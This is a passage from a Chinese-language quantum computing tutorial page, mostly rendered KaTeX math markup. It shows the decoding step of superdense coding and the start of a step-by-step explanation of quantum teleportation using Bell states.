-0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>Bob 接著反過來操作：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><mrow><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi></mrow></mpadded></mover></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo>=</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>⊗</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo>=</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>⊗</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mo>−</mo><mo stretchy="false">⟩</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>H</mi><msub><mi>q</mi><mn>0</mn></msub></msub></mpadded></mover></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>⊗</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo>=</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}&amp; \frac{1}{\sqrt2}\left(\vert{}00\rangle-\vert{}11\rangle\right) \\\xrightarrow{CNOT} &amp; \frac{1}{\sqrt2}\left(\vert{}00\rangle-\vert{}01\rangle\right)= \vert{}0\rangle \otimes \frac{1}{\sqrt2}\left( \vert{}0\rangle - \vert{}1\rangle \right) = \vert{}0\rangle \otimes \vert{}-\rangle \\\xrightarrow{H_{q_0}} &amp; \vert{}0\rangle \otimes \vert{}1\rangle = \vert{}01\rangle\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:6.5632em;vertical-align:-3.0316em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.5316em;"><span style="top:-5.5316em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"></span></span><span style="top:-2.9802em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">C</span><span class="mord mathnormal mtight" style="margin-right:0.109em;">N</span><span class="mord mathnormal mtight" style="margin-right:0.0278em;">O</span><span class="mord mathnormal mtight" style="margin-right:0.1389em;">T</span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span></span></span><span style="top:-0.6498em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">0</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.0316em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.5316em;"><span style="top:-5.5316em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.9802em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">−</span><span class="mclose">⟩</span></span></span><span style="top:-0.6498em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.0316em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>對吧！最後得到的 01 就是 Alice 一開始要傳的訊息啊！</p><h2 id="quantum-teleportation" tabindex="-1" id="Quantum-teleportation">Quantum teleportation</h2><p>用量子糾纏來傳訊息，如下圖，A、B 是糾纏的一對粒子，我們把粒子 B 留在 Bob 手上，粒子 A 讓 Alice 帶出去。假設今天 Alice 想傳送資訊 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span></span></span></span> 給 Bob，即下圖中的粒子 D。Alice 可以藉由對 A 和 D 進行一些測量、操作，把結果藉由古典通道傳回給 Bob，Bob 就能回推出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span></span></span></span>！就如圖中的把 B 變成 D！</p><p><img src="1_bHSU9qggIvucThnhNmH4tA.gif" alt="Quantum teleportation"><br>圖片來源：<a href="https://medium.com/quantumcomputingnepal/quantum-teleportation-simplified-98a470b636a4">Quantum Teleportation Simplified. How is qubit phase teleported from one… | by Bishal Shrestha | Quantum Computing Nepal | Medium</a></p><p>以下是具體步驟</p><p><img src="2026-07-18-23-16-54.png" alt="Quantum teleportation"><br>圖片來源：<a href="https://mareknarozniak.com/2020/03/22/simulating-quantum-teleportation/">Simulating Quantum Teleportation - Marek Narozniak’s Homepage</a></p><p>一開始的 H Gate 和 CNOT Gate 是拿來創造 Bell State 的。上圖中第一列是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}\psi\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span></span></span></span>，也就是我們想傳遞的粒子 D 的資訊；第二列是 A，第三列是 B。所以</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><msub><mi>ψ</mi><mn>2</mn></msub><mo stretchy="false">⟩</mo><mo>=</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo stretchy="false">⟩</mo><mo>⊗</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo>+</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mo>⊗</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mo lspace="0em" rspace="0em">=</mo></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">(</mo><mi>α</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>0</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi>β</mi><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>1</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}\vert{}\psi_2\rangle = &amp; \vert{}\psi\rangle\otimes\vert{}\psi+\rangle = \frac{1}{\sqrt2}\left(\alpha\vert{}0\rangle+\beta\vert{}1\rangle\right) \otimes \frac{1}{\sqrt2}\left(\vert{}00\rangle+\vert{}11\rangle\right) \\= &amp; \frac12\left( \alpha\left( \vert{}00\rangle + \vert{}11\rangle \right)\vert{}0\rangle + \beta\left( \vert{}00\rangle + \vert{}11\rangle \right)\vert{}1\rangle \right)\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.5589em;vertical-align:-2.0294em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5294em;"><span style="top:-4.5294em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord">∣</span><span class="mord"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span></span></span><span style="top:-1.978em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mrel">=</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.0294em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.5294em;"><span style="top:-4.5294em;"><span class="pstrut" style="height:3.3214em;"></span><span class="mord"><span class="mord"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mord">+</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span><span class="mord"></span><span class="mord">0</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mord">∣</span><span class="mord"></span><span class="mord">1</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg 